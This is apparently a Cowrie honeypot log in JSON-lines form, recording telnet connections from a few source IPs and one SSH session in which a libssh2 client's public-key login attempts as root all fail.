{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":40394,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b0cb0978cde","protocol":"telnet","message":"New connection: 69.162.99.242:40394 (159.203.135.109:23) [session: 0b0cb0978cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:58.812942Z"}
{"eventid":"cowrie.session.closed","duration":31.086387872695923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:58.944743Z","src_ip":"69.162.99.242","session":"b5f689748767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.218769550323486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:59.022359Z","src_ip":"69.162.99.242","session":"fcb3a831c563","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103818893432617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:59.079252Z","src_ip":"69.162.99.242","session":"fe5c5abe8b55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47006,"dst_ip":"159.203.135.109","dst_port":23,"session":"f23dd72922f5","protocol":"telnet","message":"New connection: 147.182.143.59:47006 (159.203.135.109:23) [session: f23dd72922f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:59.635620Z"}
{"eventid":"cowrie.session.closed","duration":31.56359624862671,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:59.648362Z","src_ip":"69.162.99.242","session":"6e6dc7216569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":43728,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0f3b38ab034","protocol":"telnet","message":"New connection: 69.162.99.242:43728 (159.203.135.109:23) [session: e0f3b38ab034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:00.161529Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47014,"dst_ip":"159.203.135.109","dst_port":23,"session":"650052254de9","protocol":"telnet","message":"New connection: 147.182.143.59:47014 (159.203.135.109:23) [session: 650052254de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:00.377774Z"}
{"eventid":"cowrie.session.closed","duration":13.140823602676392,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:00.797009Z","src_ip":"147.182.143.59","session":"378eb44da48a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.121.170.173","src_port":52244,"dst_ip":"10.17.0.5","dst_port":22,"session":"72b24621ac22","protocol":"ssh","message":"New connection: 192.121.170.173:52244 (10.17.0.5:22) [session: 72b24621ac22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:00.831901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:00.836929Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:00.923808Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:54:93:13:d7:99:03:ec:9a:8d:20:bc:fd:eb:81:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEqn4krUMyAqxbEQROzELYAwYglY2clWvbecHvTcA+GAGBXasTEdaeyo5PKCWCBPuZUTdrwqg7ifUc4VlbErVdC97vrw1NvaSxkX9Q+/HiwYTXy5yuwSG6GcjkC9JwkXDWPTBXBmJJVYKaOkRj61p40dIqQSOJiLnQhEQZhS0cHE2HssI88lmht5GJGbZ7nrscIzxBofiHJS+BlW0x7Wi+API14z4agRiDvAUHVx7QfDhCDSUoief6PlRp27Ix/rXemfqzU4KnjSvJp9Or1mX3XtxfWPtL2d2BqL2J98SaYx0s8N7KnSlAMTciMrE1NIHZJzSCdSbztIpEdLDM1vDp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:54:93:13:d7:99:03:ec:9a:8d:20:bc:fd:eb:81:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.327258Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:54:93:13:d7:99:03:ec:9a:8d:20:bc:fd:eb:81:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEqn4krUMyAqxbEQROzELYAwYglY2clWvbecHvTcA+GAGBXasTEdaeyo5PKCWCBPuZUTdrwqg7ifUc4VlbErVdC97vrw1NvaSxkX9Q+/HiwYTXy5yuwSG6GcjkC9JwkXDWPTBXBmJJVYKaOkRj61p40dIqQSOJiLnQhEQZhS0cHE2HssI88lmht5GJGbZ7nrscIzxBofiHJS+BlW0x7Wi+API14z4agRiDvAUHVx7QfDhCDSUoief6PlRp27Ix/rXemfqzU4KnjSvJp9Or1mX3XtxfWPtL2d2BqL2J98SaYx0s8N7KnSlAMTciMrE1NIHZJzSCdSbztIpEdLDM1vDp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.332404Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:dc:f7:2d:be:be:50:82:40:3e:2b:ef:a8:b4:90:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy7VWvDlxRLRfezrsbtqEOoj8Hi2Zm9RFDJq1pFzfuJzS2pBPBsfCroLTqvsd3klQfZcyVs+sF1+jrDdrpH6kgpoQ2SRm2q09e0LRQ2DLm+ZMwqTXTMvheG7KuFRm1iRWfpFuzEhoTffDSj86gDvXzwd9OPt6VwyI91yai16WFOmrv3RJqMMjP0Y2ZOleZ550xe4f7pJUp3Ql9gwH0BvJbmBLvrcW1Dxr2LmIhPtpqNycRvcxmW1u3gdf4hb8aEV/0aMF47rEuQ//jDGGKeRoTonkd2Fbv93hZAH0iK78l6aC9YVZ0ym1Ce8ru9nsl2s8mrDG7qlQRnAj4OxH4fxkvRD8eVoJy2AGfGO4kW3WknhDKmGtWlYcSpeEQFvBVyJO9le5Da/Ei5DoV8sFecGv30KDmS4LSQTXWMVyPvEbFBCLkG1FhzrB2YtaBAwQCPhPHLuTntrQNoBuGkEsu2y2PXM7bj3BTUxhvkvh49R0WB/zHQh44XiS0Iu2bsZf5e18=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:dc:f7:2d:be:be:50:82:40:3e:2b:ef:a8:b4:90:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.421455Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:dc:f7:2d:be:be:50:82:40:3e:2b:ef:a8:b4:90:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy7VWvDlxRLRfezrsbtqEOoj8Hi2Zm9RFDJq1pFzfuJzS2pBPBsfCroLTqvsd3klQfZcyVs+sF1+jrDdrpH6kgpoQ2SRm2q09e0LRQ2DLm+ZMwqTXTMvheG7KuFRm1iRWfpFuzEhoTffDSj86gDvXzwd9OPt6VwyI91yai16WFOmrv3RJqMMjP0Y2ZOleZ550xe4f7pJUp3Ql9gwH0BvJbmBLvrcW1Dxr2LmIhPtpqNycRvcxmW1u3gdf4hb8aEV/0aMF47rEuQ//jDGGKeRoTonkd2Fbv93hZAH0iK78l6aC9YVZ0ym1Ce8ru9nsl2s8mrDG7qlQRnAj4OxH4fxkvRD8eVoJy2AGfGO4kW3WknhDKmGtWlYcSpeEQFvBVyJO9le5Da/Ei5DoV8sFecGv30KDmS4LSQTXWMVyPvEbFBCLkG1FhzrB2YtaBAwQCPhPHLuTntrQNoBuGkEsu2y2PXM7bj3BTUxhvkvh49R0WB/zHQh44XiS0Iu2bsZf5e18=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.425709Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:73:8c:be:c6:ce:79:f0:7b:f9:b3:17:1b:72:95:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi/wW39oRPwfQuscUxTXjsXLsW04NpSjOm/Kq7zXHkwkNXK4j00752t8JVIKJ1uPDbo8srEDGRYqGO0ee4lHmPBc/jJDuQ2fMKOi6RL4L36G3+g+shVoUVaIS5H1KZrgTpqlE0OsvMINExCdQuS5kRQXfenKDlghGtZYzIGJDmX6AREUNHbjn9/ltV20imFQqUedfljMSZLJCFPnsoLHeEa7Z/SpR70A949q1mN9jiYS24kHaUUy+NTvehIDdimGQ30bG3/BrZvMEBy2NW5LTJfBmIwegvTwMeUAEsZutMAb9ZI5HrN4lUrs/b4Se1QRYhX2a5WZ/85bG/tsiMsTHCmMhUktVFfIIx+4kvKQxdTeY5lcaELt/iCncPK8Al/feTWzVHSuX4rbyk+/0Scz4Tz4qTOBmSyWdOyjJyqp0+Fllxj0m0j7N1tLqlvRc7wYxFK1p0LjHk3ddd/IcVcwvHuH5Czjln/bDcIhjCSXTd0AUkx8NzhSlb44Co7M/iJUsBn+RWJ1gNRChvCaR8Z3c7QVE2ArglBcm0fFTed+sCGvuKvq2EV0uIT1WZu6tYuRuYaZ1jf+//Kn72WMXoQ/VDgKVxGhwSrO0DoIz7H6y8aBnMxsRCM7MSzaurUvC1O7zMxKB6zxiV9q1lWo72up00j8vwi3yjffudWO8nc7s9Mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:73:8c:be:c6:ce:79:f0:7b:f9:b3:17:1b:72:95:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.524099Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:73:8c:be:c6:ce:79:f0:7b:f9:b3:17:1b:72:95:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi/wW39oRPwfQuscUxTXjsXLsW04NpSjOm/Kq7zXHkwkNXK4j00752t8JVIKJ1uPDbo8srEDGRYqGO0ee4lHmPBc/jJDuQ2fMKOi6RL4L36G3+g+shVoUVaIS5H1KZrgTpqlE0OsvMINExCdQuS5kRQXfenKDlghGtZYzIGJDmX6AREUNHbjn9/ltV20imFQqUedfljMSZLJCFPnsoLHeEa7Z/SpR70A949q1mN9jiYS24kHaUUy+NTvehIDdimGQ30bG3/BrZvMEBy2NW5LTJfBmIwegvTwMeUAEsZutMAb9ZI5HrN4lUrs/b4Se1QRYhX2a5WZ/85bG/tsiMsTHCmMhUktVFfIIx+4kvKQxdTeY5lcaELt/iCncPK8Al/feTWzVHSuX4rbyk+/0Scz4Tz4qTOBmSyWdOyjJyqp0+Fllxj0m0j7N1tLqlvRc7wYxFK1p0LjHk3ddd/IcVcwvHuH5Czjln/bDcIhjCSXTd0AUkx8NzhSlb44Co7M/iJUsBn+RWJ1gNRChvCaR8Z3c7QVE2ArglBcm0fFTed+sCGvuKvq2EV0uIT1WZu6tYuRuYaZ1jf+//Kn72WMXoQ/VDgKVxGhwSrO0DoIz7H6y8aBnMxsRCM7MSzaurUvC1O7zMxKB6zxiV9q1lWo72up00j8vwi3yjffudWO8nc7s9Mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.528488Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:6b:01:ba:35:7a:42:92:22:39:66:82:7c:03:e5:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFtYK8x8girDLul4UK1JkigFGhSzbAjzxTWgWA5jQby3v/5dxa1f79KYwAktYCAsbqCEVh/2wOq0AQGENqXuRyrr+fMRd3/gRLnaSiIQOkmHid8n1jWT9p49e8jl6RxwR5/spi+lizCWiK/D8SvO8P4a63yLqj+SxphFy0Xp2c4XrpD+7rBPskmC6Z16CHdNFNX+32575zrZOYp3Al3YQTZU0IFIsHIHJGCnwJWUpuSkoyr/SZKM6KNVHEdcfBEhnxMJPo9PE5jF7kAbtCRFkTH2JIhCAgVIXonmAwyqDK3Tk4XB9hIAdSHh3kdUJKOmu2dJwgLWOBonBMCHb3s2dd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:6b:01:ba:35:7a:42:92:22:39:66:82:7c:03:e5:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.617115Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:6b:01:ba:35:7a:42:92:22:39:66:82:7c:03:e5:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFtYK8x8girDLul4UK1JkigFGhSzbAjzxTWgWA5jQby3v/5dxa1f79KYwAktYCAsbqCEVh/2wOq0AQGENqXuRyrr+fMRd3/gRLnaSiIQOkmHid8n1jWT9p49e8jl6RxwR5/spi+lizCWiK/D8SvO8P4a63yLqj+SxphFy0Xp2c4XrpD+7rBPskmC6Z16CHdNFNX+32575zrZOYp3Al3YQTZU0IFIsHIHJGCnwJWUpuSkoyr/SZKM6KNVHEdcfBEhnxMJPo9PE5jF7kAbtCRFkTH2JIhCAgVIXonmAwyqDK3Tk4XB9hIAdSHh3kdUJKOmu2dJwgLWOBonBMCHb3s2dd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.621738Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:51:6d:10:a7:72:a4:4b:e9:61:b6:4b:20:5b:34:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYYH9hRxKYvckIIsCoo/dl804sCC93MjeRuqBH9mAmPZhkWQquhosnYUTml11oxrFvUbH//A3sBHZ6eBtL4ISQl1hZsaD+zFzmmKYRW3ea/lUM2umAZsHBDz4WZZXSc5YWmCmopV1G/+SER5OM2NeUcpBc1+PX6ezWxv1cDh3ffUUikqfQmY0YEzQbnT7yELxe4/Ae8JfwpPe2mfQUBrqbBuSbPwVPwRcIJqDF9B12gAngkcikN9hQPq/4mTvzqjXI1VHH0XiXRmK0RlJmCFy2KEZnJNOR8Oh3WgPEFjNLbLikxYz4Ls2K+9zCBp4rDZjuW6wfcDe/Vo5jF7fDoGRR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:51:6d:10:a7:72:a4:4b:e9:61:b6:4b:20:5b:34:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.730632Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:51:6d:10:a7:72:a4:4b:e9:61:b6:4b:20:5b:34:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYYH9hRxKYvckIIsCoo/dl804sCC93MjeRuqBH9mAmPZhkWQquhosnYUTml11oxrFvUbH//A3sBHZ6eBtL4ISQl1hZsaD+zFzmmKYRW3ea/lUM2umAZsHBDz4WZZXSc5YWmCmopV1G/+SER5OM2NeUcpBc1+PX6ezWxv1cDh3ffUUikqfQmY0YEzQbnT7yELxe4/Ae8JfwpPe2mfQUBrqbBuSbPwVPwRcIJqDF9B12gAngkcikN9hQPq/4mTvzqjXI1VHH0XiXRmK0RlJmCFy2KEZnJNOR8Oh3WgPEFjNLbLikxYz4Ls2K+9zCBp4rDZjuW6wfcDe/Vo5jF7fDoGRR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.736164Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.395244121551514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.756640Z","src_ip":"69.162.99.242","session":"f86e1a8615c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.632941484451294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.796571Z","src_ip":"69.162.99.242","session":"5250aef65b0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:01.847842Z","src_ip":"192.121.170.173","session":"72b24621ac22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10473942756653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:02.007557Z","src_ip":"69.162.99.242","session":"b56d16228108","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103753805160522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:02.014789Z","src_ip":"69.162.99.242","session":"a378f02eb374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.548148155212402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:03.010910Z","src_ip":"69.162.99.242","session":"220b48432ece","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86498260498047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:03.123568Z","src_ip":"69.162.99.242","session":"9316470d3c4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34480857849121,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:03.167039Z","src_ip":"69.162.99.242","session":"d5aad437aab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14864945411682,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:05.543918Z","src_ip":"69.162.99.242","session":"4e5dc85f05b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":48948,"dst_ip":"159.203.135.109","dst_port":23,"session":"fafa0fb52ca7","protocol":"telnet","message":"New connection: 69.162.99.242:48948 (159.203.135.109:23) [session: fafa0fb52ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:05.764237Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55474,"dst_ip":"159.203.135.109","dst_port":23,"session":"48c9bc94c48f","protocol":"telnet","message":"New connection: 69.162.99.242:55474 (159.203.135.109:23) [session: 48c9bc94c48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:05.790107Z"}
{"eventid":"cowrie.session.closed","duration":37.097251415252686,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:05.855612Z","src_ip":"45.58.127.90","session":"5116d0bb9a4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10618233680725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:05.918705Z","src_ip":"69.162.99.242","session":"664416c292ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672332048416138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:06.414885Z","src_ip":"69.162.99.242","session":"1cf8634ebba4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":56758,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fa533542df9","protocol":"telnet","message":"New connection: 69.162.99.242:56758 (159.203.135.109:23) [session: 2fa533542df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:06.478377Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":57948,"dst_ip":"159.203.135.109","dst_port":23,"session":"612d67a50eb5","protocol":"telnet","message":"New connection: 69.162.99.242:57948 (159.203.135.109:23) [session: 612d67a50eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:07.022328Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":58134,"dst_ip":"159.203.135.109","dst_port":23,"session":"a057fc988a44","protocol":"telnet","message":"New connection: 69.162.99.242:58134 (159.203.135.109:23) [session: a057fc988a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:07.137973Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47026,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b32bb6cebea","protocol":"telnet","message":"New connection: 147.182.143.59:47026 (159.203.135.109:23) [session: 4b32bb6cebea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:07.601072Z"}
{"eventid":"cowrie.session.closed","duration":31.15225887298584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:08.514599Z","src_ip":"69.162.99.242","session":"7a93a1275845","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11987543106079,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:08.841657Z","src_ip":"69.162.99.242","session":"2903447767b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.09820008277893,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:08.961497Z","src_ip":"45.58.127.90","session":"2b7cc2a500fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":34312,"dst_ip":"159.203.135.109","dst_port":23,"session":"a57d51ae568d","protocol":"telnet","message":"New connection: 69.162.99.242:34312 (159.203.135.109:23) [session: a57d51ae568d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:09.135583Z"}
{"eventid":"cowrie.session.closed","duration":31.097344160079956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:09.831490Z","src_ip":"69.162.99.242","session":"a942a3eff26a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175968408584595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:10.162798Z","src_ip":"69.162.99.242","session":"b6a474329df6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.122124910354614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:10.349501Z","src_ip":"69.162.99.242","session":"2b4c654b0c7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.40033459663391,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:12.046776Z","src_ip":"45.58.127.90","session":"83c7246399ef","protocol":"telnet"}
